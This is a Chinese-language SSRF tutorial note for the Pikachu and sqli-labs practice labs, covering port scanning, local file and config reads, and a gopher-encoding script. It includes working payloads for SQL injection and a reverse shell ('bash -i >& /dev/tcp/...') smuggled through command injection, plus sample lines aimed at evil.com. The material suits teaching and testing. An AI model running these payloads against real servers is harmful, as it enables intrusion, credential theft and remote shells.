SSRF 漏洞笔记

1 SSRF 漏洞描述

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的

安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所

以服务端能请求到与自身相连而与外网隔离的内部系统)。

2 SSRF 漏洞原理

SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请

求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示。

对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息。

攻击运行在内网或本地的应用程序。

对内网 Web 应用进行指纹识别,识别企业内部的资产信息。

攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。

利用 file 协议读取本地文件等。

SSRF 常见用途:

  1. 内外网的端口和服务扫描

  1. 主机本地敏感数据的读取

  1. 内外网主机应用程序漏洞的利用

  1. 内外网 Web 站点漏洞的利用

SSRF 常见位置:

  1. 分享:通过 URL 地址分享网页内容

  1. 转码服务

  1. 在线翻译

  1. 图片加载与下载:通过 URL 地址加载或下载图片

  1. 图片、文章收藏功能

  1. 未公开的 api 实现以及其他调用 URL 的功能

  1. 从 URL 关键字中寻找

常见的 URL 关键字:

share

wap

url

link

src

source

target

u

3g

display

sourceURl

imageURL

domain

3 SSRF 漏洞实践-端口扫描-任意文件读取

3.1 SSRF-端口扫描

URL地址:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

分析 URL 地址:ssrf_curl.php?url=http://192.168.1.24/pikachu/vul/ssrf/ssrf_info/info1.php

通过 url 参数加载远程的资源信息。这里的诗句是由后面的 info1.php 输出的。

修改 url 远程资源地址为我们想要探测的端口

CentOS7:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.1.24:22

Kali:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.1.52:22

Mysql:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.1.24:3306

注:HTTP 协议探测时则 SSH、Web 等服务可以探测出回显信息,可以尝试其它的协议进行探测。

也可以用其他的协议来测试比如 ftp://

http://192.168.1.24/pikachu-master/vul/ssrf/ssrf_curl.php?url=ftp://192.168.1.24:21

http://192.168.1.24/pikachu-master/vul/ssrf/ssrf_curl.php?url=ftp://192.168.1.24:22

端口开放则一直等待响应,不开放则直接返回。这样我们也可以通过状态来判断端口是否开放。

扩展:dict://协议在探测端口时也比较好用。

3.2 SSRF-任意文件读取

读取/etc/passwd

http://192.168.1.24/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

读取文件使用 file://+文件路径即可

读取 PHP 文件,读取 php 文件需要使用 php:// 但是在 curl_exec()中不能读取 php 文件

file_get_content (不支持 https,支持 http,支持 php://内置协议)

读取数据库配置文件:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=/var/www/html/pikachu/inc/config.inc.php

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器

convert.base64-encode/resource 转码为 base64 格式,php 文件不能被直接读取,需要经过base64 编码之后才能被读取。

base64 解码:

[root@xuegod63 ~]# echo

"PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJzEyMzQ1NicpOy8v5bCGcm9vdOS/ruaUueS4uui/nuaOpW15c3Fs55qE5a+G56CB77yM5aaC5p6c5pS55LqG6L+Y5piv6L+e5o6l5LiN5LiK77yM6K+35YWI5omL5Yqo6L+e5o6l5LiL5L2g55qE5pWw5o2u5bqT77yM56Gu5L+d5pWw5o2u5bqT5pyN5Yqh5rKh6Zeu6aKY5Zyo6K+077yBCmRlZmluZSgnREJOQU1FJywgJ3Bpa2FjaHUnKTsvL+iHquWumuS5ie+8jOW7uuiuruS4jeS/ruaUuQpkZWZpbmUoJ0RCUE9SVCcsICczMzA2Jyk7Ly/lsIYzMzA25L+u5pS55Li6bXlzcWznmoTov57mjqXnq6/lj6PvvIzpu5jorqR0Y3AzMzA2Cgo/Pgo="|base64 -d

//全局 session_start

session_start();

//全局居设置时区

date_default_timezone_set('Asia/Shanghai');

//全局设置默认字符

header('Content-type:text/html;charset=utf-8');

//定义数据库连接参数

define('DBHOST', '127.0.0.1');//将 localhost 或者 127.0.0.1 修改为数据库服务器的地址

define('DBUSER', 'root');//将 root 修改为连接 mysql 的用户名

define('DBPW', '123456');//将 root 修改为连接 mysql 的密码,如果改了还是连接不上,请先手

动连接下你的数据库,确保数据库服务没问题在说!

define('DBNAME', 'pikachu');//自定义,建议不修改

define('DBPORT', '3306');//将 3306 修改为 mysql 的连接端口,默认 tcp3306

?>

效果

在线解码:Base64 在线编码解码 | Base64 加密解密 - Base64.us

4 SSRF-gopher 协议扩展利用-向内网发起 GET/POST 请求

4.1 Gopher 简介

Gopher 在 HTTP 协议前是非常有名的信息查找系统,但是 WWW 万维网出现之后 Gopher 逐渐没落,但是在 SSRF 漏洞中 Gopher 协议让洞利用更加灵活,利用此协议可以对 ftp,memcache,mysql,telnet,redis,等服务进行攻击,可以构造发送 GET,POST 请求包。

4.2 Gopher 语法演示

Gopher 协议语法格式:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
语法实例:(创建侦听)
┌──(root xuegod53)-[~]
└─# nc -lp 4444
gopher 访问 4444 端口
┌──(root xuegod52)-[~]
└─# curl gopher://192.168.1.52:4444/abcd
┌──(root xuegod52)-[~]
└─# nc -lp 4444 
bcd

需要注意的是 abcd 的第一个字符被自动去除了,所以通常我们提交请求时第一个字符使用下划线_

来表示。例如:

curl gopher://192.168.1.52:4444/_abcd

4.3 Gopher 发送 GET 请求

首先我们写一个简单的 GET 请求的页面。
┌──(root xuegod52)-[~]
└─# vim /var/www/html/get.php
<?php
 echo "Hello ".$_GET["name"]."\n"
?>
启动 apache2 服务
└─# systemctl start apache2
正常情况我们使用 http 协议发送 get 请求方法。
└─# curl http://192.168.1.52/get.php?name=free
Hello free
构造 gopher 协议的 GET 请求
浏览器访问:http://192.168.1.52/get.php?name=free
burpsuite 获取 get 请求数据包。

burpsuite 获取 get 请求数据包。

GET 请求我们只需要取出前两行。

GET /get.php?name=free HTTP/1.1

Host: 192.168.1.52

进行 URL 编码:

_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost%3A%20192.168.1.53%

0D%0A

1. GET 前添加下划线 _ ,我们上面已经提到过第一个字符会被吃掉。

2. 空格以及冒号换行等特殊字符需要转换为 URL 编码,注:/不要进行 URL 编码,换行符通过工具

在进行 URL 编码时会被编码成%0A,但是在 HTTP 请求中正确的换行符应该是%0D%0A,所以工具编

码后需要手工替换%0A 为%0D%0A,并且在 HTTP 请求也需要以%0D%0A 来作为结尾。

完整请求:

└─# curl gopher://192.168.1.52:80/_GET%20/get.php%3Fname%3Dfree%20HTTP/1.1%0D%0AHost

%3A%20192.168.1.52%0D%0A

4.4 Gopher 发送 POST 请求

创建测试页面
┌──(root xuegod53)-[~]
└─# vim /var/www/html/post.php
<?php
 echo "Hello ".$_POST["name"]."\n"
?>
使用 http 协议发起请求实例:
└─# curl http://192.168.1.52/post.php -d "name=free"
Hello free
构造 gopher 协议的 POST 请求:
浏览器访问:http://192.168.1.52/post.php

burpsuite 获取 POST 请求数据包

POST 数据包必须要有的 5 行配置,GET 只需要前两行。

POST /post.php HTTP/1.1

Host: 192.168.1.52

Content-Length: 9

Content-Type: application/x-www-form-urlencoded

name=free

Content-Length 用于描述 HTTP 消息实体的传输长度也就是 POST 传输的内容长度,比如

name=free 字节长度为 9。

Content-Type 用来执行传输内容的类型。

application/x-www-form-urlencoded:HTTP 会将请求参数用 key1=val1&key2=val2 的方

式进行组织,并放到请求实体里面,注意如果是中文或特殊字符如"/"、","、":" 等会自动进行 URL 转

码。不支持文件,一般用于表单提交。

例如:

我们提交:name=free 真帅

POST 请求中最终的结果为:name=%E7%A6%8F%E7%91%9E

通过 python 脚本进行编码:

└─# vim gopher_encode.py

import urllib.parse
req =\
"""POST /post.php HTTP/1.1
Host: 192.168.1.52
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
​
name=free
"""
#对空格、冒号、换行等特殊符号进行 url 编码
xuegod = urllib.parse.quote(req)
#将换行符替换为%0D%0A
new = xuegod.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
#在结果前面添加_gopher 会吃掉第一个字符。
result = '_'+new
#打印编码后的请求
print(result)

注:第一行 POST 在"""后面插入,最后的"""新起一行,HTTP 请求最后需要一个换行。

运行 python 脚本

└─# python3 gopher_encode.py _POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.52%0D%0AContentLength%3A%209%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0Aname%3Dfree%0D%0A

拼接完整的请求:

curl gopher://192.168.1.52:80/_POST%20/post.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.52%0D%0AContent-Length%3A%209%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aname%3Dfree%0D%0A

4.5 Gopher 协议对内网 Web 服务进行 sql 注入 GET 类型

首先我们正常构造一个 sql 注入的请求

http://192.168.1.24/sqli-labs/Less-1/?id=-1'union select 1,user(),database() -- +

curl_exec()关卡中进行测试:

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.1.24/sqli-labs/Less-1/?id=-1'union select 1,user(),database() -- +

首先直接访问报错

原因是后面的 sql 注入语句的特殊字符导致的,所以需要进行 URL 编码

选择 URL encode 编码。

-1'union%20select%201%2Cuser()%2Cdatabase()%20--%20%2B

编码了空格以及+

再次编码,需要编码 2 次。

-1'union%2520select%25201%252Cuser()%252Cdatabase()%2520--%2520%252B

第二次编码将上一次的编码所产生的%编码为%25

为什么要 2 次编码?

1. 首先我们发给服务器的时候 URL 地址中不能包含特殊字符,需要第一次编码。先解码%25

2. 服务器接收到我们的 URL 地址之后由 url_exec()解析 URL 地址,此时服务器进行第二次解码。

第二次解码则解码空格以及特殊字符。

GET 类型可以直接使用 http 协议进行利用是最便捷的,因为修改为 gopher 协议则需要构造一个gopher 协议的请求。

浏览器访问:

http://192.168.1.24/sqli-labs/Less-1/?id=-1'union select 1,user(),database() -- +

使用 burpsuite 获取 get 请求

GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20--%20+ HTTP/1.1

Host: 192.168.1.24

修改 python 脚本

└─# vim gopher_encode.py

import urllib.parse
req =\
"""GET /sqli-labs/Less-1/?id=-1%27union%20select%201,user(),database()%20--%20+ 
HTTP/1.1
Host: 192.168.1.24
"""
​
xuegod = urllib.parse.quote(req)
new = xuegod.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
result = '_'+new
print(result)

执行脚本

└─# python3 gopher_encode.py _GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2520%2B%20%0D%0AHTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0A

完整 payload

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.1.24:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29%2520--%2520%2B%20%0D%0AHTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0A

二次编码

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.1.24%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529%252520--%252520%252B%2520%250D%250AHTTP%2F1.1%250D%250AHost%253A%2520192.168.1.24%250D%250A

成功注入

4.6 Gopher 对内网 Web 服务进行 sql 注入 POST 类型

POST 注入关卡:http://192.168.1.24/sqli-labs/Less-11/

burpsuite 进行 sql 注入并构造 POST 请求

uname=0admin' union select user(),database()--+

POST /sqli-labs/Less-11/ HTTP/1.1 Host: 192.168.1.24 Content-Length: 77 Content-Type: application/x-www-form-urlencoded

uname=0admin'union select user(),database() --+&passwd=password&submit=Submit

通过 python 脚本进行编码

└─# vim gopher_encode.py

import urllib.parse
req =\
"""POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.1.24
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
​
uname=0admin'union select user(),database() --+&passwd=password&submit=Submit
"""
​
xuegod = urllib.parse.quote(req)
new = xuegod.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
result = '_'+new
print(result)

执行脚本

└─# python3 gopher_encode.py _POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0AContent-Length%3A%2078%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3Dpassword%26submit%3DSubmit%0D%0A

curl 命令测试

└─# curl gopher://192.168.1.24:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0AContent-Length%3A%2078%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%2B%26passwd%3Dpassword%26submit%3DSubmit%0D%0A

构造完整请求

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.1.24:80/_POST%20/sqli-labs/Less-11/%20HTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0AContent-Length%3A%2078%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3D0admin%27union%20select%20user%28%29%2Cdatabase%28%29%20--%20%2B%26passwd%3Dpassword%26submit%3DSubmit%0D%0A

二次编码

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.1.24%3A80%2F_POST%2520%2Fsqli-labs%2FLess-11%2F%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.1.24%250D%250AContent-Length%253A%252078%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250A%250D%250Auname%253D0admin%2527union%2520select%2520user%2528%2529%252Cdatabase%2528%2529%2520--%2520%252B%2526passwd%253Dpassword%2526submit%253DSubmit%250D%250A

成功解析执行。

4.7 通过命令注入反弹 shell

nc 创建侦听
┌──(root xuegod52)-[~]
└─# nc -lvp 4444
burpsuite 开启监听
通过命令注入进行反弹 shell
127.0.0.1;bash -i >& /dev/tcp/192.168.1.52/4444 0>&1 

burpsuite 获取到 POST 请求。

POST /pikachu-master/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.1.24
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
ipaddress=127.0.0.1%3Bbash+-
i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.52%2F4444+0%3E%261&submit=ping

修改 python 脚本

└─# vim gopher_encode.py

import urllib.parse
req =\
"""POST /pikachu/vul/rce/rce_ping.php HTTP/1.1
Host: 192.168.1.24
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
​
ipaddress=127.0.0.1%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.52%2F4444+0%3E%261+&submit=ping
"""
​
xuegod = urllib.parse.quote(req)
new = xuegod.replace('%0A','%0D%0A')
#result = '_'+urllib.parse.quote(new)
result = '_'+new
print(result)

执行脚本

└─# python3 gopher_encode.py

_POST%20/pikachu/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0AContent-Length%3A%2092%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.1.52%252F4444%2B0%253E%25261%2B%26submit%3Dping%0D%0A

完整 gopher 请求

http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.1.24:80/_POST%20/pikachu/vul/rce/rce_ping.php%20HTTP/1.1%0D%0AHost%3A%20192.168.1.24%0D%0AContent-Length%3A%2092%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Aipaddress%3D127.0.0.1%253Bbash%2B-i%2B%253E%2526%2B%252Fdev%252Ftcp%252F192.168.1.52%252F4444%2B0%253E%25261%2B%26submit%3Dping%0D%0A
​

二次编码

点击执行后请求会一直在响应中,因为通过命令执行的方式建立了反弹 shell,shell 终止时请求才会结束。

bash-4.2$ exit

5 SSRF 漏洞检测方法

点击开始

点击复制到剪切板

获得一个域名:48awe9rp2w7e081iz3t37zv5cwin6du2.oastify.com

访问存在漏洞的页面:http://192.168.1.24/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

把请求发送至 Repeater

URL 地址 修改为48awe9rp2w7e081iz3t37zv5cwin6du2.oastify.com 然后点发送

Burp Collaborator 客户端点击现在轮询进行验证:

只要有 DNS 解析记录则表示目标服务器向该网址发起请求。即存在 SSRF 漏洞。

在线检测平台:DNSLog Platform 使用方法与 Burp Collaborator 客户端一致

6 SSRF 支持的协议

ftp
ssrf.php?url=ftp://evil.com:12345/TEST
file://
ssrf.php?url=file:///etc/password
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:3306

7 SSRF 漏洞防御方案

1.禁止跳转

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题

4.设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP)

5.限制请求的端口为 http 常用的端口,比如 80、443、8080、8090

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值